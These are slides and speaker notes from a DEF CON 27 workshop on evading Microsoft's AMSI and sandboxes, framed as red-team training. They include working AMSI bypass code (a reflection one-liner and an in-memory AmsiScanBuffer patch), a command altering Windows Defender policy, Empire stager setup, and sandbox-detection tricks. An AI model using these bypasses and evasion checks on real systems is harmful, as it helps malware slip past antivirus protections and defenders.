DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbox evasion notes

ANTHONY ROSE
JACOB KRASNOV
VINCENT ROSE
1
1

whoami
ANTHONY ROSE
C01И
◦ Co-founder, BC Security
◦ Lead Researcher, Merculite Security
◦ MS in Electrical Engineering
◦ Lockpicking Hobbyist
◦ Bluetooth & Wireless Security
Enthusiast
2
JACOB KRASNOV
HUBBLE
◦ Co-founder, BC Security
◦ MS in Astronautical Engineering
◦ Red Team Lead
◦ Currently focused on embedded
system security
VINCENT ROSE
HALCYON
◦ Security Researcher, BC Security
◦ BS in Software Engineering
◦ Software & App Developer
2

Why are we here?
◦ How to mask your malware to avoid AMSI and Sandboxes
3
3

Goals
◦ Introduce Microsoft’s Antimalware Scan Interface (AMSI) and
explain its importance
◦ Learn to analyze malware scripts before and after execution
◦ Understand how obfuscate code to avoid AMSI and Windows
Defender
◦ Detect and avoid sandbox environments
4
4

Expectations
We will teach you to…
◦ operate Empire
◦ obfuscate Powershell
◦ avoid AMSI and Sandboxes
We are not going to teach you…
◦ how to be a “leet hacker”
5
5

A Very Brief Overview of the Evolution of
Malware Obfuscation
◦ Obfuscation is the main means by which Malware achieves survival
◦ Defeat signature based AV
◦ Make analysis more difficult
7
https://blogs.cisco.com/security/a_brief_history_of_malware_obfuscation_part_1_of
_2
In order to spread and multiply malware has to remain undetected by AV and
defenders. Code obfuscation is the “simplest” and most efficient means of doing this.
In addition to allowing it to sneak past AV obfuscation also helps hinder analysis by
defenders so that it is harder for them to understand how the malware works and
what it is trying to achieve
7

The Early Days
The first virus to obfuscate itself was the Brain Virus in 1986
◦ Would display unchanged data from a different disk sector instead of
the one it had modified
The first virus to use encryption was the Cascade Virus and also
appeared in 1986
◦ Used simple XOR encryption
First commercial AV products came out in 1987
◦ This included heuristic based AV products!
8
4:https://blogs.cisco.com/security/a_brief_history_of_malware_obfuscation_part_1_
of_2
5:
https://en.wikipedia.org/wiki/Antivirus_software#1980%E2%80%931990_period_(ea
rly_days)
What we often think of as “modern day” virus and AV activities has been around for a
long time. By the end of the 80s AV had already recognized that trying to create
signatures based on encrypted/obfuscated code was extremely difficult and instead
started to try and target the encryption/decryption routines as this had to be
machine readable in order to work.
In order to combat this malware adapted to have non static signatures. By the end of
1990, either multiple decryptors chosen at random or dynamically generated ones
were being seen used in the wild.
8

Coming into Its Own
The Malware Arms Race continued and by 1992 polymorphic virus
engines had been released
◦ Could be attached to non-polymorphic viruses to make them more effective
AV wasn’t far behind and soon started to include emulation code to
sandbox the code
◦ There were evasion techniques but we will talk about this later
By the 2000s malware has moved on to so called metamorphic virus7
◦ Polymorphic viruses only change their decryptor while metamorphic change
the code body as well
9
of_2
of_2
9

Going Fileless
Not really completely Fileless
◦ Usually requires some kind of initial script/executable to kick off
infection
◦ Persistence methods may leave traces in places like the registry (ie
Poweliks)
This created a big problem for AV as it has traditionally relied on
scanning files/executables
All of this leads into…
10
10

Antimalware Scripting
Interface (AMSI)
11
11

What Is AMSI?
The Windows Antimalware Scan Interface (AMSI) is a
versatile interface standard that allows your applications
and services to integrate with any antimalware product
that's present on a machine. AMSI provides enhanced
malware protection for your end-users and their data,
applications, and workloads.
12
1 https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-scan-
interface-portal
12

That’s Great But What Does that Mean?
◦ Evaluates commands at run time
◦ Handles multiple scripting languages (Powershell, JaveScript, VBA)
◦ Provides an API that is AV agnostic
◦ Identify fileless threats
13
AMSI is a powerful anti-malware tool because it is able to evaluate commands being
passed to the scripting compilation engine at run time after many obfuscation
techniques have been removed. It also supports multiple scripting languages and is
built as a dll with an API interface that any “registered” antivirus provider can access.
13

Data Flow
14
interface-portal
14

One point of clarification (Powershell)
The code is evaluated when it is readable by the scripting engine
This means that:
◦ –enc //5XAHIAaQB0AGUALQBIAG8AcwB0ACAAIgB0AGUAcwB0ACIA
becomes:
◦ Write-Host “test”
However:
◦ Write-Host “te”+”st”
Does not become:
◦ Write-Host “test”
This is what allows us to still be able to obfuscate our code
15
interface-portal
15

Types of Windows Mitigations
◦ Windows Defender
◦ Antimalware Scan Interface (AMSI)
◦ Control flow guard
◦ Data Execution Prevention (DEP)
◦ Randomized memory allocations
◦ Arbitrary code guard (ACG)
◦ Block child processes
◦ Simulated execution (SimExec)
◦ Valid stack integrity (StackPivot)
17
Control flow guard (CFG) - Ensures control flow integrity for indirect calls. Can
optionally suppress exports and use strict CFG.
Data Execution Prevention (DEP) - Prevents code from being run from data-only
memory pages such as the heap and stacks. Only configurable for 32-bit (x86) apps,
permanently enabled for all other architectures. Can optionally enable ATL thunk
emulation.
Randomize memory allocations (Bottom-Up ASLR) - Randomizes locations for virtual
memory allocations including those for system structures heaps, stacks, TEBs, and
PEBs. Can optionally use a wider randomization variance for 64-bit processes.
Arbitrary code guard (ACG) - Prevents the introduction of non-image-backed
executable code and prevents code pages from being modified. Can optionally allow
thread opt-out and allow remote downgrade (configurable only with PowerShell).
Do not allow child processes - Prevents an app from creating child processes.
Simulate execution (SimExec) - Ensures that calls to sensitive APIs return to legitimate
17

callers. Only configurable for 32-bit (x86) applications. Not compatible with ACG
Validate stack integrity (StackPivot) - ensures that the stack has not been redirected
for sensitive APIs. Not compatible with ACG
17

AMSI Events
When AMSI conducts a scan it passes one of 5 results back:
◦ AMSI_RESULT_CLEAN = 0
◦ AMSI_RESULT_NOT_DETECTED = 1
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
◦ AMSI_RESULT_DETECTED = 32768
18
AMSI passes a numerical value onto Windows Defender which then uses it to
determine what action to take. A value of 0 indicates a clean result which means
there is no possibility of the scanned component being malicious now or in the
future. 1 means that currently the scanned result is not deemed malacious but that
status could change in the future (this what is almost always returned under normal
circumstances). The blocked by admin returns indicate that some kind of GPO
blocked execution of the powershell. AMSI actually assigns risk values as it scans and
these values are compiled. A total value of 32767 or less indicates that the program
should proceed. A value of 32768 or higher indicates malware and that the process
should halted. (The returned result will still be 32768 even if the evaluated result was
higher)
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/ne-amsi-amsi_result
18

Windows Defender Logs
Get-WinEvent 'Microsoft-Windows-Windows
Defender/Operational' -MaxEvents 10 | Where-Object Id -
eq 1116 | Format-List
20
Command uses Get-WinEvent to pull events from the Defender logs. The MaxEvents
just limits the output to most recent specified number of events otherwise the
output could be hundreds of events long. The 1116 id number is the event id for
when Defender has flagged malware.
20

Malware Triggering Activity
21
Activity – We will distribute a few basic versions of malware embedded into the
VMs. This will give everyone the opportunity to experiment and see what
will/won’t get past Windows Defender and AMSI.
21

Try Some Code Samples
Look in the sample folder
23
Sample 1 is just a simple Write-Host command with AMSI flagged word
Sample 2 is an AMSI Bypass
Sample 3 is a default Empire launcher
Sample 4 is a PS-Inject script that targets svchost
23

Building/Customizing
Your Malware
24
24

Don't do Too Much at Once
Getting working base code first
◦ Empire, Metasploit, Ect
Customize Functions
Get Working Obfuscated Code
Then Test Against AV
25
25

Disabling Windows Defender
New-ItemProperty -Path
"HKLM:Softwarepoliciesmicrosoftwindows defender" -
name disableantispyware -value 0 –Force
Restart computer/VM
26
26

Empire Tutorial
Preloaded into VM
https://github.com/EmpireProjec
t/Empire/tree/dev
◦ Install dev version (Do not use
version 2.5)
◦ sudo ./setup/install.sh
28
28

Empire Tutorial
Splash page
◦Version running
(We are using a modified
dev version)
◦How many modules loaded
◦Active Listeners
◦Active Agents
29
29

Empire Tutorial
“Help” lists out all available commands
◦ Agents – Active payloads available
◦ Interact – Control a payload/host
◦ Preobfuscate – Obfuscates
Powershell module (not needed)
◦ Set – Modify payload settings
◦ Usemodule – Select Empire Module
◦ Uselistener – Select Lisener
◦ Usestager – Select Empire stager
(we will be using macros)
30
30

Empire Tutorial
Uselistener
◦Host – Where you want
your payload to call back to
◦ Make sure you use your IP for
this
◦Port – Port used for
communication
◦ Default port is 80 (HTTP)
31
31

Empire Tutorial
Use edit to modify Listener
info
◦“edit LISTENERNAME host
YOURIPADDRESS”
◦“edit LISTENERNAME port
PORTNUMBER”
32
32

Empire Tutorial
33
Usestager
◦Tailor the stager to what the target is
◦Our focus is Windows using a Macro
◦“Windows/macro”
33

Empire Tutorial
Default Empire output (without
obfuscation)
◦ This will get you caught
34
34

Test your Empire Payload
35
35

Obfuscation Techniques
36
Obfuscation Basics
36

Advanced Techniques are Still Useful!
They are still good for hiding from other malware scanners,
sandboxes, and human analysis
37
37

Randomized Capitalization
Powershell ignores capitalization
38
AMSI also ignores capitalization so this isn't effective at avoiding it but the
randomization does change the hash of the file so it's still best practice to implement
it.
38

Concatenation
AMSI is still heavily dependent upon signatures, simple
concatenation can circumvent most alerts
39
Concatination is the most used and simplest form of obfuscation against AMSI. Once
a variable has been set the full value is almost never scanned again so the variable
can be passed into other functions freely without issue.
39

Variable Insertion
Powershell recognizes $ as a special character in a string and
will fetch the associated variable.
◦ This is usually used in conjunction with something like
concatenation
40
40

Format String
Powershell allows for the use of {} inside a string to allow for
variable insertion. This is an implicit reference to the format
string function.
41
41

XOR || ⊕
Uses:
◦ Pseudorandom number generation
◦ Error detection
◦ Encryption
◦ Linear separability
42
A B A XOR B
0 0 0
0 1 1
1 0 1
1 1 0
Commutative: A ⊕ B = B ⊕ A
Associative: A ⊕ ( B ⊕ C ) = ( A ⊕ B ) ⊕ C
Identity element: A ⊕ 0 = A
Self-inverse: A ⊕ A = 0
42

Obfuscate the Samples
Using Samples 1-3 from the early exercise attempt to
obfuscate them so that they will run
Sample 3 can be difficult to figure out what is causing the
issue
43
43

Invoke-Obfuscation
Install here
◦https://github.com/danielboha
nnon/Invoke-Obfuscation
◦“Import-Module ./Invoke-
Obfuscation.psd”
◦Run “Invoke-Obfuscation”
45
If script disabled by system: Run as admin then “set-executionpolicy remotesigned“ &
“Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass“
45

Invoke-Obfuscation
Type “Tutorial” for high level
directions
◦Extremely helpful for
learning/remembering the
basics
46
46

Invoke-Obfuscation
Example code
◦ Use this for practicing
◦ SET SCRIPTBLOCK powershell -enc
VwByAGkAdABlAC0ASABvAHMAdAAgACcA
WQBvAHUAIABjAGEAbgAgAHUAcwBlACAA
YgBhAHMAaQBjACAALQBlAG4AYwAgAEUA
bgBjAG8AZABlAGQAQwBvAG0AbQBhAG4A
ZAAgAHMAeQBuAHQAYQB4ACAAdwBpAHQA
aABvAHUAdAAgAGEAbgB5ACAAbwB0AGgA
ZQByACAAZQB4AGUAYwB1AHQAaQBvAG4A
IABhAHIAZwB1AG0AZQBuAHQAcwAgAGEA
cwAgAGkAbgBwAHUAdAAgAGYAbwByACAA
UwBjAHIAaQBwAHQAQgBsAG8AYwBrACAA
dgBhAGwAdQBlACAAaQBuACAASQBuAHYA
bwBrAGUALQBPAGIAZgB1AHMAYwBhAHQA
aQBvAG4ALgAnACAALQBmACAAZwByAGUA
ZQBuAA
47
47

Invoke-Obfuscation
Token-layer Obfuscation
◦ TokenVariable (extremely
useful for masking variable
names to AMSI)
◦ TokenAll (if you are super lazy)
◦ Typically run whitespace last
48
48

Invoke-Obfuscation
Abstract Syntacx Tree (AST)
◦ Changes structure of AST
◦ AST contains all parsed content
in Powershell code without
having to dive into text parsing
(we want to hide from this)
49
49

Invoke-Obfuscation
Encoding
◦ Used to further mask the
payload by converting the
format (e.g., Hex, Binary, AES,
etc)
◦ Beware: running too much
encoding will break the 8,191
character limit
50
50

Invoke-Obfuscation
String
◦Obfuscate Powershell code
as a string
◦Breaks up the code with
reversing techniques and
concatenation
51
51

Invoke-Obfuscation
Compress
◦Can be used in conjunction
with Encoding to reduce the
overall size of the payload.
52
52

Invoke-Obfuscation
Order of operations
◦Mix it up to avoid detection
◦Example:
◦Token6421
◦Whitespace1
◦Encoding2
◦Compress1
54
54

Why do we need this?
If our payload is already obfuscated enough to evade AMSI
why bother?
◦ Only the first part of the stager is obfuscated!
Obfuscation can be time consuming, adds complexity and
increases the size of our payloads
56
56

Why do we need this?
AMSI bypasses let us load whatever future modules we may
want without issues
◦ Mimkatz, PS-Inject*, Powerup, etc.
57
57

Remember the AMSI returns
◦ AMSI_RESULT_CLEAN = 0
◦ AMSI_RESULT_NOT_DETECTED = 1
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
◦ AMSI_RESULT_DETECTED = 32768
58
58

Reflective Bypass
Simplest Bypass that currently works
◦ $Ref=[REF].Assembly.GetType('System.Management.Automation.AmsiUtils');
◦ $Ref.GetField('amsiInitFailed', 'NonPublic, Static').SetValue($NULL, $TRUE);
Published by Matt Graeber in 2016 by tweet
59
Capitalization matters for passing field values
59

What Does it Do?
Using reflection we are exposing functions from AMSI
We are setting the AmsiInitField to True which source code
shows causes AMSI to return:
◦ AMSI_SCAN_RESULT_NOT_FOUND
60
Microsoft's explanation on reflection: https://docs.microsoft.com/en-
us/dotnet/framework/reflection-and-codedom/reflection
Image taken from: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-
and-logging-evasion/
That site also provides excellent detailed explanations on how these bypasses work
60

Why does this work?
AMSI is loaded into the Powershell process at start up so it
has the same permission levels as the process the malware
is in
The designers of AMSI presumably decided that if there was
an error occurring when AMSI starts up it's better to allow
the system to continue operating rather than creating a ton
of false flags that could make the computer useless
61
61

Patching AMSI.dll in Memory
62
Code is also included below so it can be cut and pasted somewhere else
This method works by using C# to expose the native API calls in Kernel32 to
powershell. This allows us to obtain where in memory the AMSI Scan buffer is and
patch in a command to return a good scan result prior to the function actually
scanning our commands.
While more complicated than the previous method it doesn't cause AMSI to fail
instead preserving the appearance of the scan being completed fully. APTs have been
observed utilizing this technique in the wild
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
This code was derived from Tal Liberman's Black Hat talk and taking some
modifications from Rasta Mouse
https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-
Undocumented-The-Rise-and-Fall-of-AMSI.pdf
https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/
62

$MethodDefinition = @'
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true,
SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule,string procName);
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
'@
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name ‘Kernel32’ -
Namespace ‘Win32’ -PassThru
$ASBD = "AmsiS"+"canBuffer"
$handle = [Win32.Kernel32]::GetModuleHandle("amsi.dll")
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ASBD)
[UInt32]$Size = 0x5
[UInt32]$ProtectFlag = 0x40
[UInt32]$OldProtectFlag = 0
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag,
[Ref]$OldProtectFlag)
$buf = new-object byte[] 6
$buf[0] = [UInt32]0xB8
$buf[1] = [UInt32]0x57
$buf[2] = [UInt32]0x00
$buf[3] = [Uint32]0x07
$buf[4] = [Uint32]0x80
$buf[5] = [Uint32]0xC3
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6)
62

Why does this work?
AMSI.dll is loaded into the same memory space as
Powershell. (Powershell is loading it after all)
This means that we have unrestricted access to the memory
space that AMSI runs in and can modify it however we
please
Tells the function to return a clean result prior to actually
scanning
63
63

Test time!
Re-enable Defender run your Empire launcher
64
64

Sandbox Detection and
Evasion
65
65

What is a Sandbox?
A software created environment
that isolates and limits the rights and
accesses of a process being executed
An effective way of doing behavioral
analysis for AV
66
66

Who is using Sandboxes?
67
Sandboxes are being used all over. Companies from Crowdstrike to Mimecast to
Google are now implementing them and they are becoming increasingly common in
email filters
67

Automated Sandbox Malware analysis
As we talked about earlier, obfuscating code to break
signatures can be relatively trivial
◦ AV would need an almost unlimited number of signatures
Heavily obfuscated code can make it almost impossible for
human analysis to be effective
Instead evaluate behavior
68
Automated sign boxes are looking for heuristics. Is a word document trying to spawn
powershell or a secondary process? Is memory space being manpiulated? Is the file
trying to contact a known bad domain? Ect.
68

Sandbox Limitations
They use a lot of resources which can be expensive
End users don't want to wait to receive their messages
Email scanning requires thousands of attachments to
evaluated constantly
70
70

Sandbox Limitations
These limitations provide us with several means to try and
detect or evade them
◦ Password Protection
◦ Time Delays
◦ Check for limited resources(small amount of ram, single core, etc.)
◦ Look for virtualization processes(sandboxie, VMWare tools)
71
71

When do we want to do this?
Before we do suspicious things
◦ Like starting a new process
◦ Reaching out to the internet
The checks could be suspicious themselves
◦ Sandbox Evasion is becoming more prevalent
73
Things like trying to reach out to the internet such as was done by WannaCry are now
being used as indicators for potential malacious intent. Lot's of API calls can be
suspicious as well.
73

Password Protection
The sandbox doesn't know the password and therefore
can't open the file. No results are found so the file is passed
on.
The password is usually sent in the body of the email with
instructions to use it.
◦ Lower success rate
74
74

Time Delay
Email filters have a limited amount of time to scan files so
delay until it the scan is completed
This is less practical in a macro as it will keep the document
open until done waiting
75
https://stackoverflow.com/questions/1544526/how-to-pause-for-specific-amount-of-
time-excel-vba
75

Checking for Resources
Using WMI Objects you can enumerate the hardware and
system configurations
Some malware looks for things like the presence of a fan
◦ Note: WMI objects are very inconsistently implemented by
manufacturers.
76
https://attack.mitre.org/techniques/T1497/
76

Checking for Resources
Some Useful WMI Objects
◦ Win32_ComputerSystem
◦ Win32_LogicalDisk
◦ Win32_Fan
77
The Powershel Commandlet Get-WmiObject is usefull for seeing all the available WMI
objects and what fields are available in the classes
Get-WmiObject –List will show allavailable WMI objects
https://devblogs.microsoft.com/scripting/three-easy-ways-to-use-powershell-and-
wql-to-get-wmi-data/
Provides a short guide on using WMI queries in powershell
77

Checking for Processes
Most if not all sandboxes result in the addition of
management processes that we can look for
◦ Win32_Process contains all the processes currently running
Some common processes to look for:
◦ Sbiesvc, SbieCtrl
◦ Vmtools
◦ VBoxService
78
The MITRE site lists a bunch of ways APTs have been known to detect VMs it's a good
place to get ideas
78

What happens to your Malware?
Who is Roydan?
Microsoft is spawning VMs to
sandbox our malware
◦ We still get callbacks to our
machine
◦ Fingerprint the OS to avoid
Malware triggering
79
o Demo/Activity – We will demonstrate the sandbox environment that Microsoft
is employing to scan emails (Microsoft Outlook) for malware. Students will have an
opportunity to explore sandbox on their own.
79

There is no one way guaranteed to work
Because of the control many developers have on
implementing WMI objects or naming processes there is no
one check that is guaranteed to work.
◦ Learn as much as possible about the target environment
◦ Use multiple halting conditions
◦ Check places like attack.mitre.org to look for new techniques if old
ones fail
80
80

Put it all together
YOUR TURN TO TRY IT ALL
81
81

DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbox evasion notes

Recommended

More Related Content

What's hot (20)

Similar to DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbox evasion notes (20)

More from Felipe Prado (20)

Recently uploaded (20)

DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbox evasion notes